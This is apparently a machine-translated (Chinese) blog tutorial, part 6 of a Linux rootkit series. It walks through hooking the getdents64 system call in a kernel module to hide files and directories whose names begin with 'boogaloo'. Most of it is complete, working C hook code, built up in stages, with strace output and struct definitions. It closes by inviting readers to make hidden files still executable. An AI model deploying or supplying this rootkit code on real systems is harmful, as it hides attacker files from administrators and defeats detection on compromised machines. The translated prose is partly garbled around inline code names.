６隐藏目录＿Linux＿Rootkit．md

Xcellerator

密码学Linux其他逆向工程

Linux Rootkit 第 6 部分：隐藏目录

2020-09-19 :: TheXcellerator

# linux # rootkit #隐身 #目录

至此，我们已经使用了几种不同的技术来操纵内核来做一些有趣的事情。我们现在将结合其中一些技术，以便从用户空间隐藏某些文件和目录。这篇文章可能是迄今为止最复杂的，因为我们必须操作内核返回给用户空间的结构。

粗略地说，目录列表由系统调用sys_getdents64及其 32 位对应部分处理sys_getdents（我们希望挂钩两者，但除了 32 位版本中的一小部分添加之外，它们是相同的）。我们的钩子将像平常一样调用真正的系统调用，然后我们将重复第 5 部分中的技术，利用copy_from_user()并copy_to_user()更改返回到用户空间的缓冲区。这里最大的区别是我们不能简单地用 覆盖整个缓冲区0x00，而是我们必须将该缓冲区视为它真正的结构并循环遍历其成员。

Linux 中的目录列表

像往常一样，在编写任何内容之前，让我们尝试了解我们希望影响的底层内核功能。我们首先检查sys_getdents. 正如前面提到的，这给了我们两个结果；一个用于 32 位，另一个用于 64 位。sys_getdents64目前我们将重点关注 64 位版本。系统调用参考将我们引导至fs/readdir.c，在那里我们可以找到 的定义sys_getdents64。

因为我们想要控制这个系统调用返回给用户的内容，所以了解这个系统调用实际做了什么是有帮助的。首先，函数声明是：

SYSCALL_DEFINE3(getdents64, unsigned int, fd, struct linux_dirent64 __user *, dirent, unsigned int, count)

复制

这个宏可以翻译成更熟悉的形式：

int sys_getdents64( unsigned int fd, struct linux_dirent 64 __user * dirent, unsigned int count);

复制

该linux_dirent64结构包含有关目录列表的信息（dirent 是“目录条目”的缩写）。我们可以在 中找到它的定义include/linux/dirent.h。

struct linux_dirent64 {
    u64         d_ino;
    s64         d_off;
    unsigned short      d_reclen;
    unsigned char       d_type;
    char        d_name[];
};

复制

特别是，我们看到它有两个有趣的领域；d_reclen和d_name。第一个是记录长度，是结构的总大小（以字节为单位）。这很有用，因为它让我们可以轻松地跳过内存中的这些结构来查找我们想要的内容。在我们的例子中，我们将d_name与预定义的前缀字符串进行比较，以决定要隐藏哪些条目。回顾一下，include/linux/readdir.c我们可以看到d_reclen正是以这种方式使用的（尽管首先被复制到另一个结构体之后）。

所有这些都有点多，所以让我们具体看看使用 .list 列出目录实际上是什么样子的strace ls。下面是我得到的带注释（和修剪过的）输出：

# Call execve syscall to execute "ls" with no arguments (and 72 environment vars)
execve("/usr/bin/ls", ["ls"], 0x7fff4b08aba0 /* 72 vars */) = 0

# Redacted: Loading various libraries like libc into memory

# Call openat syscall with directory "." to get a file descriptor (3)
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
# Check the directory pointed to by file descriptor 3 exists
fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
# Call getdents64 syscall with the file descriptor and a pointer to userspace
getdents64(3, 0x55d9b3dc1400 /* 19 entries */, 32768) = 600
# Close the file descriptor
close(3) = 0

# Redacted: Write the results to stdout

+++ exited with 0 +++

复制

好吧，这有点清楚了。我们可以看到sys_getdents64它的所有参数都被调用，并且它已将 600 字节写入我们提供的缓冲区中。此时，我们意识到我们必须将自己的缓冲区分配到内核空间，在那里修改它，然后将其复制回来（就像第5 部分中一样）。诀窍在于我们如何找到以我们选择的前缀字符串开头的任何条目，以及如何欺骗系统在找到它们后跳过这些条目。

将一些东西放在一起

与前面的部分一样，我将仅介绍pt_regssyscall 挂钩的版本，在本例中，我将仅介绍 hooking sys_getdents64。在完整的 rookit（在repo上）中，总共有四个sys_getdents钩子：每个钩子用于和sys_getdents64，另外两个用于pt_regs每个钩子的老式调用约定。

我们的钩子的粗略轮廓如下所示：

#include <linux/dirent.h>

#define PREFIX "boogaloo"

static asmlinkage long (*orig_getdents64)(const struct pt_regs *);

asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
    /* Pull the userspace dirent struct out of pt_regs */
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;

    /* Declare our kernel version of the buffer that we'll copy into */
    struct linux_dirent64 *dirent_ker = NULL;

    /* Call the real getdents64, and allocate ourselves a kernel buffer */
    int ret = orig_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    /* Check that neither of the above failed */
    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;

    /* Copy from the userspace buffer dirent, to our kernel buffer dirent_ker */
    long error;
    error = copy_from_user(dirent_ker, dirent, ret);
    if(error)
        goto done;

    /* Fiddle with dirent_ker */

    /* Copy dirent_ker back to userspace dirent */
    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
        goto done;

done:
    /* Free our buffer and return */
    kfree(dirent_ker);
    return ret;
}

复制

希望到目前为止，上述框架已经完全有意义了。它与我们在第 5 部分中开始的地方略有不同，但在这种情况下，我们所做的唯一“摆弄”是在将0x00其复制回用户空间之前覆盖内核缓冲区。这一次我们需要聪明一点。

循环遍历目录条目

为了循环遍历这些结构，我们将引入一个offset最初设置为 的变量0，以及一个current_dir定义为另一个linux_dirent64结构的变量。然后我们就设置current_dir = dirent_ker + offset。首先，current_dir它只是内存中的第一个结构，我们可以memcmp current_dir->d_name使用前缀（上面定义为“boogaloo”）。当我们循环时，我们可以递增offset，这样current_dir->d_reclen当在current_dir循环开始时重新定义时，我们将跳过第一个结构并转到第二个结构。依此类推，直到offset等于ret- 返回的值orig_getdents64。

让我们首先尝试将这个循环放在一起，但只需将d_name每个条目的 打印到内核缓冲区 - 然后我们将担心如何阻止某些目录呈现给用户。下面仅对新的部分进行评论。

#include <linux/dirent.h>

#define PREFIX "boogaloo"

static asmlinkage long (*orig_getdents64)(const struct pt_regs *);

asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;

    /* Declare current_dir pointer and the offset variable */
    struct linux_dirent64 *current_dir, *dirent_ker = NULL;
    unsigned long offset = 0;

    int ret = orig_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;

    long error;
    error = copy_from_user(dirent_ker, dirent, ret);
    if(error)
        goto done;

    /* Loop over offset */
    while (offset < ret)
    {
        /* Set current_dir = dirent_ker + offset 
         * Note that we have to cast dirent_ker to (void *) so that we can add
         * offset to it
         */
        current_dir = (void *)dirent_ker + offset;

        /* Compare the first bytes of current_dir->d_name to PREFIX */
        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* Print to the kernel buffer */
            printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);
        }

        /* Increment offset by current_dir->d_reclen so that we iterate over
         * the other structs when we loop
         */
        offset += current_dir->d_reclen;
    }

    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
        goto done;

done:
    kfree(dirent_ker);
    return ret;
}

复制

如果需要，您可以尝试编译它并检查它是否有效（您可能需要等到最后，因为您必须将其复制四次！）。应该清楚新部分的作用（查找注释），但如果没有，请尝试重新阅读上面的段落。

好东西：隐藏目录条目！

我们需要弄清楚的最后一件事是如何让系统跳过我们发现的以前缀“boogaloo”开头的任何条目。我们要使用的技巧是在我们想要隐藏的d_reclen条目之前d_reclen增加“boogaloo”条目的值。为此，我们需要另一个linux_dirent64结构体，我们将其称为previous_dir，并在循环遍历所有内容时更新它。这意味着，一旦我们将缓冲区返回给用户，并且某些用户空间工具（例如ls）就像我们一样循环遍历条目，它们将到达我们想要隐藏的条目之前的条目，并且当它将其循环变量增加d_reclen，它将完全跳过我们的秘密条目。

唯一的问题是当没有先前的条目时该怎么办，即我们要隐藏的条目是否在先？在这种情况下，我们需要将内存中的所有内容向上移动d_reclen第一个条目的值。为此，我们将使用memmove()，但我们还必须记住减少ret太d_reclen，以便我们在循环其余部分时不会超出缓冲区的末尾。

好了，说够了！让我们完成这个系统调用挂钩。同样，仅评论新部分：

#include <linux/dirent.h>

#define PREFIX "boogaloo"

static asmlinkage long (*orig_getdents64)(const struct pt_regs *);

asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;

    /* Declare the previous_dir struct for book-keeping */
    struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
    unsigned long offset = 0;

    int ret = orig_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;

    long error;
    error = copy_from_user(dirent_ker, dirent, ret);
    if(error)
        goto done;

    while (offset < ret)
    {
        current_dir = (void *)dirent_ker + offset;

        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* Check for the special case when we need to hide the first entry */
            if( current_dir == dirent_ker )
            {
                /* Decrement ret and shift all the structs up in memory */
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            /* Hide the secret entry by incrementing d_reclen of previous_dir by
             * that of the entry we want to hide - effectively "swallowing" it
             */
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            /* Set previous_dir to current_dir before looping where current_dir
             * gets incremented to the next entry
             */
            previous_dir = current_dir;
        }

        offset += current_dir->d_reclen;
    }

    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
        goto done;

done:
    kfree(dirent_ker);
    return ret;
}

复制

值得花一些时间来吸收这里发生的事情，并且回去重新阅读钩子的三个版本及其解释也不是坏事 - 我确实花了很长时间才使用几种不同的方式编写它们来源！

将所有内容放在一起

现在是时候完成 Ftrace 的钩子，以及sys_getdents32 位系统的版本和不带pt_regs. 总共，您将拥有基本相同的钩子的四个副本。请注意，钩子有一个小技巧sys_getdents。为了摆脱 32 位系统，内核开发人员linux_dirent从内核头中删除了 的定义（注意没有“64”）。它仍然在内核中，但由于它不在标头中，因此您的模块将无法构建。解决方案是自己定义它，就像我在repo 的第116行中所做的那样。如果您想自己解决这个问题而不看我的版本，那么这里是定义：rootkit.cfs/readdir.c

struct linux_dirent {
    unsigned long d_ino;
    unsigned long d_off;
    unsigned short d_reclen;
    char d_name[];
};

复制

让我们看看在创建我们想要隐藏的文件后继续加载此 rootkit 时会发生什么。

成功！秘密的“boogaloo”文件对用户隐藏了！值得指出的是，该文件仍然存在，您可以继续打开它、删除它等，没有任何麻烦，但不要指望它会出现在ls！如果您想更加狡猾，您也许可以找到一种方法来阻止读取或写入文件，但仍然允许执行它？亲爱的读者，这是留给您的练习！

希望你喜欢这个作品——干得好，直到最后！由于涉及的步骤较多，这绝对是最难掌握的技巧。

直到下一次…

阅读其他帖子

---

←使用内核模块逃逸特权容器Linux Rootkit 第 5 部分：从用户空间隐藏内核模块→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

阅读其他帖子

---

←使用内核模块逃逸特权容器Linux Rootkit 第 5 部分：从用户空间隐藏内核模块→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

<<< 随机 >>>